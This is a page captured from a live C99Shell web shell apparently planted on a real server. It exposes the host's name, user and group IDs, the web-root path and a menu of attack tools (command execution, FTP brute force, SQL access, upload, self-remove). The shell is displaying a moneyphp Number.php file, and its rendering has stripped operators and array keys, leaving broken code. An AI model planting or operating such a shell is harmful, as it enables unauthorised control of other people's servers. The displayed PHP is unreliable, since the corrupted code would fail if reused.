!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/moneyphp/money/src/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Number.php (9.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Money;

use 
InvalidArgumentException;

use function 
abs;
use function 
explode;
use function 
is_int;
use function 
ltrim;
use function 
min;
use function 
rtrim;
use function 
sprintf;
use function 
str_pad;
use function 
strlen;
use function 
substr;

/**
 * Represents a numeric value.
 *
 * @internal this is an internal utility of the library, and may vary at any time. It is mostly used to internally validate
 *           that a number is represented at digits, but by improving type system integration, we may be able to completely
 *           get rid of it.
 *
 * @psalm-immutable
 */
final class Number
{
    
/** @psalm-var numeric-string */
    
private string $integerPart;

    
/** @psalm-var numeric-string|'' */
    
private string $fractionalPart;
    private const 
NUMBERS = [=> 1=> 1=> 1=> 1=> 1=> 1=> 1=> 1=> 1=> 1];

    public function 
__construct(string $integerPartstring $fractionalPart '')
    {
        if (
$integerPart === '' && $fractionalPart === '') {
            throw new 
InvalidArgumentException('Empty number is invalid');
        }

        
$this->integerPart    self::parseIntegerPart($integerPart);
        
$this->fractionalPart self::parseFractionalPart($fractionalPart);
    }

    
/** @psalm-pure */
    
public static function fromString(string $number): self
    
{
        
$portions explode('.'$number2);

        return new 
self(
            
$portions[0],
            
rtrim($portions[1] ?? '''0')
        );
    }

    
/** @psalm-pure */
    
public static function fromFloat(float $number): self
    
{
        return 
self::fromString(sprintf('%.14F'$number));
    }

    
/** @psalm-pure */
    
public static function fromNumber(int|string $number): self
    
{
        if (
is_int($number)) {
            return new 
self((string) $number);
        }

        return 
self::fromString($number);
    }

    public function 
isDecimal(): bool
    
{
        return 
$this->fractionalPart !== '';
    }

    public function 
isInteger(): bool
    
{
        return 
$this->fractionalPart === '';
    }

    public function 
isHalf(): bool
    
{
        return 
$this->fractionalPart === '5';
    }

    public function 
isCurrentEven(): bool
    
{
        
$lastIntegerPartNumber = (int) $this->integerPart[strlen($this->integerPart) - 1];

        return 
$lastIntegerPartNumber === 0;
    }

    public function 
isCloserToNext(): bool
    
{
        if (
$this->fractionalPart === '') {
            return 
false;
        }

        return 
$this->fractionalPart[0] >= 5;
    }

    
/** @psalm-return numeric-string */
    
public function __toString(): string
    
{
        if (
$this->fractionalPart === '') {
            return 
$this->integerPart;
        }

        
/** @psalm-suppress LessSpecificReturnStatement this operation is guaranteed to pruduce a numeric-string, but inference can't understand it */
        
return $this->integerPart '.' $this->fractionalPart;
    }

    public function 
isNegative(): bool
    
{
        return 
$this->integerPart[0] === '-';
    }

    
/** @psalm-return numeric-string */
    
public function getIntegerPart(): string
    
{
        return 
$this->integerPart;
    }

    
/** @psalm-return numeric-string|'' */
    
public function getFractionalPart(): string
    
{
        return 
$this->fractionalPart;
    }

    
/** @psalm-return numeric-string */
    
public function getIntegerRoundingMultiplier(): string
    
{
        if (
$this->integerPart[0] === '-') {
            return 
'-1';
        }

        return 
'1';
    }

    public function 
base10(int $number): self
    
{
        if (
$this->integerPart === '0' && ! $this->fractionalPart) {
            return 
$this;
        }

        
$sign        '';
        
$integerPart $this->integerPart;

        if (
$integerPart[0] === '-') {
            
$sign        '-';
            
$integerPart substr($integerPart1);
        }

        if (
$number >= 0) {
            
$integerPart       ltrim($integerPart'0');
            
$lengthIntegerPart strlen($integerPart);
            
$integers          $lengthIntegerPart min($number$lengthIntegerPart);
            
$zeroPad           $number min($number$lengthIntegerPart);

            return new 
self(
                
$sign substr($integerPart0$integers),
                
rtrim(str_pad(''$zeroPad'0') . substr($integerPart$integers) . $this->fractionalPart'0')
            );
        }

        
$number               abs($number);
        
$lengthFractionalPart strlen($this->fractionalPart);
        
$fractions            $lengthFractionalPart min($number$lengthFractionalPart);
        
$zeroPad              $number min($number$lengthFractionalPart);

        return new 
self(
            
$sign ltrim($integerPart substr($this->fractionalPart0$lengthFractionalPart $fractions) . str_pad(''$zeroPad'0'), '0'),
            
substr($this->fractionalPart$lengthFractionalPart $fractions)
        );
    }

    
/**
     * @psalm-return numeric-string
     *
     * @psalm-pure
     *
     * @psalm-suppress MoreSpecificReturnType      this operation is guaranteed to pruduce a numeric-string, but inference can't understand it
     * @psalm-suppress LessSpecificReturnStatement this operation is guaranteed to pruduce a numeric-string, but inference can't understand it
     */
    
private static function parseIntegerPart(string $number): string
    
{
        if (
$number === '' || $number === '0') {
            return 
'0';
        }

        if (
$number === '-') {
            return 
'-0';
        }

        
// Happy path performance optimization: number can be used as-is if it is within
        // the platform's integer capabilities.
        
if ($number === (string) (int) $number) {
            return 
$number;
        }

        
$nonZero false;

        for (
$position 0$characters strlen($number); $position $characters; ++$position) {
            
$digit $number[$position];

            
/** @psalm-suppress InvalidArrayOffset we are, on purpose, checking if the digit is valid against a fixed structure */
            
if (! isset(self::NUMBERS[$digit]) && ! ($position === && $digit === '-')) {
                throw new 
InvalidArgumentException(sprintf('Invalid integer part %1$s. Invalid digit %2$s found'$number$digit));
            }

            if (
$nonZero === false && $digit === '0') {
                throw new 
InvalidArgumentException('Leading zeros are not allowed');
            }

            
$nonZero true;
        }

        return 
$number;
    }

    
/**
     * @psalm-return numeric-string|''
     *
     * @psalm-pure
     */
    
private static function parseFractionalPart(string $number): string
    
{
        if (
$number === '') {
            return 
$number;
        }

        
$intFraction = (int) $number;

        
// Happy path performance optimization: number can be used as-is if it is within
        // the platform's integer capabilities, and it starts with zeroes only.
        
if ($intFraction && ltrim($number'0') === (string) $intFraction) {
            return 
$number;
        }

        for (
$position 0$characters strlen($number); $position $characters; ++$position) {
            
$digit $number[$position];

            
/** @psalm-suppress InvalidArrayOffset we are, on purpose, checking if the digit is valid against a fixed structure */
            
if (! isset(self::NUMBERS[$digit])) {
                throw new 
InvalidArgumentException(sprintf('Invalid fractional part %1$s. Invalid digit %2$s found'$number$digit));
            }
        }

        return 
$number;
    }

    
/**
     * @psalm-pure
     * @psalm-suppress InvalidOperand string and integers get concatenated here - that is by design, as we're computing remainders
     */
    
public static function roundMoneyValue(string $moneyValueint $targetDigitsint $havingDigits): string
    
{
        
$valueLength strlen($moneyValue);
        
$shouldRound $targetDigits $havingDigits && $valueLength $havingDigits $targetDigits 0;

        if (
$shouldRound && $moneyValue[$valueLength $havingDigits $targetDigits] >= 5) {
            
$position $valueLength $havingDigits $targetDigits;
            
/** @psalm-var positive-int|0 $addend */
            
$addend 1;

            while (
$position 0) {
                
$newValue = (string) ((int) $moneyValue[$position 1] + $addend);

                if (
$newValue >= 10) {
                    
$moneyValue[$position 1] = $newValue[1];
                    
/** @psalm-var numeric-string $addend */
                    
$addend $newValue[0];
                    --
$position;
                    if (
$position === 0) {
                        
$moneyValue $addend $moneyValue;
                    }
                } else {
                    if (
$moneyValue[$position 1] === '-') {
                        
$moneyValue[$position 1] = $newValue[0];
                        
$moneyValue                '-' $moneyValue;
                    } else {
                        
$moneyValue[$position 1] = $newValue[0];
                    }

                    break;
                }
            }
        }

        return 
$moneyValue;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.007 ]--